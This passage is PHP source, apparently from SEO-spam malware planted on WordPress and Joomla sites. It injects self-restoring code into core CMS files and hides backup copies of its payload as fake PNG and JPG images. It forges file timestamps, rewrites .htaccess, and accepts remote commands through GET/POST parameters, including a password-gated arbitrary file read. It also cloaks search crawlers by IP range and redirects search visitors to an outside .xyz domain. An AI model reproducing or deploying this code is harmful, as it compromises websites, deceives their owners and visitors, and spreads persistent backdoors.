$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileIndex2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileHtac2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileMoban2)."';".PHP_EOL;
$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex2)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban2)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban2)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban2);
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($bkLocalFileMoban2,$tpstrMb);
@touch($bkLocalFileMoban2, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($bkLocalFileMoban2,0755);
}
}
}
}';
$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
$rsckII = '#//ckIIbg.*?//ckIIend#si';
$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
}else{
$strckLocalFile2 = '<'.'?php'. PHP_EOL .$NowPutStrTwo. PHP_EOL . '?>'.PHP_EOL . $strckLocalFile2;
}
file_put_contents($ckLocalFile2,$strckLocalFile2);
@touch($ckLocalFile2, $fitime, $fitime);
}
}elseif($sysType == 'Joomla'){
$ckLocalFile1 = '../libraries/loader.php';
$ckLocalFile2 = '../includes/framework.php';
if(!is_dir("../templates"))
@mkdir("../templates",0755);
if(!is_dir("../templates/system"))
@mkdir("../templates/system",0755);
if(!is_dir("../templates/system/images"))
@mkdir("../templates/system/images",0755);
$bkLocalFileIndex1 = '../templates/system/images/i_button1_blank.png';
$bkLocalFileHtac1 = '../templates/system/images/i_button1_image.png';
$bkLocalFileMoban1 = '../templates/system/images/i_button1_left.png';
if(!is_dir("../media"))
@mkdir("../media",0755);
if(!is_dir("../media/media"))
@mkdir("../media/media",0755);
if(!is_dir("../media/media/images"))
@mkdir("../media/media/images",0755);
if(!is_dir("../media/media/images/mime-icon-16"))
@mkdir("../media/media/images/mime-icon-16",0755);
$bkLocalFileIndex2 = '../media/media/images/mime-icon-16/mp3s.png';
$bkLocalFileHtac2 = '../media/media/images/mime-icon-16/mp4s.png';
$bkLocalFileMoban2 = '../media/media/images/mime-icon-16/odcs.png';
$nowMobanFile = './moban.html';
$nowMobanFileI = './'.$nowDirName.'/moban.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nowMobanFile);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
if(stristr($strCkLocalFile1,'// Check if jexit')){
$rpRpFind = '// Check if jexit';
}elseif(stristr($strCkLocalFile1,'function jimport')){
$rpRpFind = 'function jimport';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
if(file_exists($ckLocalFile2)){
$strckLocalFile2 = file_get_contents($ckLocalFile2);
@chmod($ckLocalFile2,0755);
if(stristr($strckLocalFile2,'ob_end_clean')){
$rpRpFind = 'ob_end_clean';
}elseif(stristr($strckLocalFile2,'// System configuration')){
$rpRpFind = '// System configuration';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex2,$strNowIndex);
file_put_contents($bkLocalFileMoban2,$strNowMoban);
file_put_contents($bkLocalFileHtac2,$strNowHtac);
@touch($bkLocalFileIndex2, $fitime, $fitime);
@touch($bkLocalFileMoban2, $fitime, $fitime);
@touch($bkLocalFileHtac2, $fitime, $fitime);
$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../media/','./media/',$bkLocalFileIndex2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../media/','./media/',$bkLocalFileHtac2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../media/','./media/',$bkLocalFileMoban2)."';".PHP_EOL;
$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex2)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban2)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban2)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban2);
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($bkLocalFileMoban2,$tpstrMb);
@touch($bkLocalFileMoban2, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban2));
@chmod($bkLocalFileMoban2,0755);
}
}
}
}';
$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
$rsckII = '#//ckIIbg.*?//ckIIend#si';
$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
}else{
if(!$rpRpFind){
$strckLocalFile2 = $strckLocalFile2.PHP_EOL .$NowPutStrTwo;
}else{
$strckLocalFile2 = str_replace($rpRpFind,$NowPutStrTwo.$rpRpFind,$strckLocalFile2);
}
}
file_put_contents($ckLocalFile2,$strckLocalFile2);
@touch($ckLocalFile2, $fitime, $fitime);
}
}else{
$ckLocalFile1 = '../index.php';
if(!is_dir("../images"))
@mkdir("../images",0755);
$bkLocalFileIndex1 = '../images/logo_s.jpg';
$bkLocalFileHtac1 = '../images/head_s.jpg';
$bkLocalFileMoban1 = '../images/banner_s.jpg';
$nowMobanFile = './moban.html';
$nowMobanFileI = './'.$nowDirName.'/moban.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nowMobanFile);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nowMobanFile = '." '$nowMobanFileI';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../images/','./images/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../images/','./images/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../images/','./images/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nowMobanFile)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($nowMobanFile,0755);
}else{
if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nowMobanFile);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
$strCkLocalFile1 = preg_replace('#<\?(php)?#i', '<'.'?\1'. PHP_EOL .$NowPutStrI. PHP_EOL , $strCkLocalFile1, 1);
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
}
save_install($dateArr);
echo '<br/>rset ok!<br/>';
echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom;
echo "<br/>";
$staus = backup_install($dateArr,2);
if($staus != '#ok#'){
$staus = backup_install_two($dateArr,1);
}
if($staus == '#ok#'){
echo '<br/>backup ok!<br/>';
}else{
echo '<br/>backup fail!<br/>';
}
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
if(isset($_GET["moshi"])){
if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); }
if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
@unlink(".htaccess"); }
$strDefault = file_get_contents(__FILE__);
$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
$rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}
if(isset($_GET["modifydate"]) && $_GET["modifydate"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>modifydate (".$_GET["modifydate"].") ok!<br/>";}
if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
@unlink("../logs.txt");
echo 'ok';
die();
}
if(isset($_POST["delmyself"]) && $_POST["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
@unlink("../logs.txt");
echo 'ok';
die();
}
// iiiiiiiiiend
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$stss = 'transferdm';
$stss2 = 'deliverym';
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../sitemap"))
mkdir("../sitemap", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '#<map>(.*)</map>#si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(strstr($mapLogs,'#sitemap' . $arrABC[$gnumber-1] .'.xml#') && file_exists('../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml')){
echo $vals."<br/>";
echo '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml successed<br/>';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j<count($tpArr); $j++){
$tpstr .= $tpArr[$j] . ' ';
}
$tpstr = trim($tpstr);
$arrIdNameNow[$tpArr[0]] = $tpstr;
}
}
break;
}
}
if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
echo "g sitemap fail<br/>";
die();
}
echo $vals."<br/>";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1); }else{
gsitemap($arrIdNameNow,1,2); }
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
if(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r2='#-(\d+)'. JTHZ .'$#i'; $r3='#[-/]' .'(\d+)[-/]$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
@touch(dirname($logFileName), $fLogTime, $fLogTime);
@touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "639027"; //llq index id
}
}
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
exit;
}
$id23 = $id;
$numArr_key = count($arr_key);
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com.hk";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = @gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";
